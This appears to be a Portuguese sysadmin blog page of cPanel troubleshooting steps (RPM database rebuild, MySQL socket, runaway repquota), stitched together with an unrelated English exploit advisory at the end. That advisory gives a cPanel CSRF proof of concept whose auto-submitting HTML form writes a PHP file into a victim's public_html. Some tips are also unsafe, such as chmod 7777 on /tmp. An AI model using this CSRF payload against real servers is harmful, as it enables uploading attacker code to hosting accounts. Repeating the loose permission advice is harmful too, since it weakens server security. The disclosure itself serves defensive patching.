Nada de pânico, outrora ensinamos como resolver erro 500 do ruby sob cpanel, agora é muito simples.
Verifique se o /tmp está com as permissões para o acesso ao ruby (isto, em caráter de testes pode ser comprovado com chmod 7777 no /tmp).
Caso esteja sanado é permissão.
PS: após ajustar permissões reinicie o ror (/etc/init.d/ror stop e /etc/init.d/ror start).
Se a mensagem que você está recebendo for:
An automatic check on (Host Name) found the RPM database to be corrupted. An attempt was made to automatically fix the database but it was not successful. Please resolve this problem on your system. A backup of the original state of the RPM database directory can be found at /var/lib/rpm.rebuild.backup*
Tente as seguintes soluções logado no console (como root):
|
1 2 3 |
mkdir /root/old_rpm_dbs/ mv /var/lib/rpm/__db* /root/old_rpm_dbs/ rpm --rebuilddb |
Se o erro persistir, logando no console (como root) rode:
|
1 |
/scripts/rpmup |
|
1 |
<strong>Caso resolva com este comando, ok, se ocorrer o erro abaixo é por que sua biblioteca GLIBC não estão 100%:</strong> |
|
1 2 |
rpm: error while loading shared libraries: libm.so.6: cannot open shared object file: No such file or directory /usr/bin/perl: error while loading shared libraries: libresolv.so.2: cannot open shared object file: No such file or directory |
|
1 |
<strong>Veja se está ok com o seguinte comando:</strong> |
|
1 |
rpm -q glibc |
|
1 |
<strong>Se a resposta for:</strong> |
|
1 |
<strong>package glibc is not installed</strong> |
|
1 |
<strong>Vamos instalar o pacote:</strong> |
|
1 |
yum --enablerepo=updates-testing --enablerepo=testing install glibc-devel |
|
1 |
Se esse erro aparece para você, caso já tenha resolvido o problema junto ao Mysql (reiniciar o mesmo) faça o seguinte:
|
1 |
ln -s /var/lib/mysql/mysql.sock /tmp/mysql.sock |
Depois
Service mysql restart
Se o problema ainda persistir com o Ruby on Rails reinicie o mesmo,
|
1 |
/etc/rc.d/init.d/ror restart |
O problema deve estar sanado.
Essa dica SANA o problema junto ao processo /usr/sbin/repquota -auv, o qual o cpanel o executa sozinho, do nada (e como quem quer nada), lol, e o pior, não adianta dar killall, kill -9, kill np que ele não encerra, isto é fato!!! Vamos parar de preencher a linguiça e sanar o negócio?
Bem, alguns passos podem ser seguidos para sanar, digamos que irei colocar do nível mais simples ao mais curioso de todos, ok?
Tente o seguinte [como root]:
rm /home/quota.group
rm /home/quota.user
/scripts/fixquotas
Se o processo ainda insistir em ficar como louco checa se seu disco está operando em ready only, uma forma de tentar isto é fazer assim:
touch /home/qualquercoisa e em seguida digitar stat /home/qualquercoisa, se mostrar somente leitura é hora de um reboot (e de preferência um fsck por parte do IDC).
Outro ponto extra é você executar o upcp –force e ver se o processo inicia, caso não, observe na hora (normalmente madrugada) se o processo executa e em seguida opera com o repquota, se isso ocorrer realmente é o versionamento ferrado, mude o estilo de update e faça upcp –force (normalmente release ou stable são os mais recomendados, troque um pelo outro e lembre-se de proteger com chattr os arquivos que lhe são importantes e o cpanel pode os sobrescrever (customizações, por exemplo, em temas do cpanel)).
Vamos finalizar com a dica mais extra?
lsattr /*.user
Se exibir proteções do tipo i–A, meu amigo, tira essa praga daí —-> chattr -iA /*.user
Com isso rode o comando na mão e veja que glorioso.
Se a glória não ocorrer você precisara aprofundar as coisas:
1. Identificar que partições estão usando sistema de quotas,
================
root@appunixlabs [~]# cat /etc/fstab | grep quota
LABEL=/ / ext3 defaults,usrquota 1 1
LABEL=/home /home ext3 defaults,usrquota 1 2
LABEL=/usr /usr ext3 defaults,usrquota 1 2
LABEL=/var /var ext3 defaults,usrquota 1 2
================
2. Reiniciar o Servidor e entrar em Single mode.
3. Rodar um fsck para cada partição (modo forçado)-> fsck -f /dev/sdX#
4. Recriar o sistema de journaling para cada partição. (tune2fs -O ^has_journal /dev/sdX#;tune2fs -O has_journal /dev/sdX#)
5. Rodar um fsck PADRÃO para cada partição.
6. rodar o comando /scripts/fixquotas
7. Reiniciar o sistema.
Fonte:
http://www.nerdblog.info/2011/08/01/usrsbinrepquota-auv-consumindo-toda-cpu-100-overload-cpanel/ (meu velho blog)
# Exploit Title: cPanel < 11.25 CSRF - Add php script
# Date: 27.05.2011 |
# Author: ninjashell |
# Software Link: http://cpanel.net |
# Version: 11.25 (see details below) |
# Tested on: Linux |
# CVE : N/A |
I. Introduction |
cPanel versions below and excluding 11.25 , are vulnerable to CSRF which |
leads to uploading a PHP script of the attackers liking. If you have turned |
off security tokens and referrer security check, no matter what version you |
are using, you are vulnerable as well. |
II. Proof of concept (PoC) |
<html> |
<form name="editform" action=" |
http://localhost:2082/frontend/x3/err/savefile.html" method=POST |
onSubmit="return loadfdata();"> |
<input type="hidden" id="codepage" class="codepress html" name="page" |
value="<?php echo 'ninjashell'; ?>"> |
<input type="hidden" name="domain" value="localhost"> |
<input type="hidden" value="public_html/" name="dir"> |
<input type="hidden" value="ninjashell.php" name="file"> |
<body onload="document.forms.editform.submit();"> |
</form> |
</html> |
Afterwards simply check for ninjashell.php in the directory. |
III. Counter-measures |
All cPanel versions starting from 11.25 and above have two in-built security |
features to prevent such attacks - security tokens and referrer security |
check. This means that if you are a cpanel client, you should update your |
software. |
IV. About the author. |
- Ethical hacker; |
- Freelance security consultant/penetration tester; |
- Security researcher in the spare time; |
- Over 12 years of experience; |
You can always email me ninjashellmail@gmail.com or follow me on twitter |
@ninjashell1337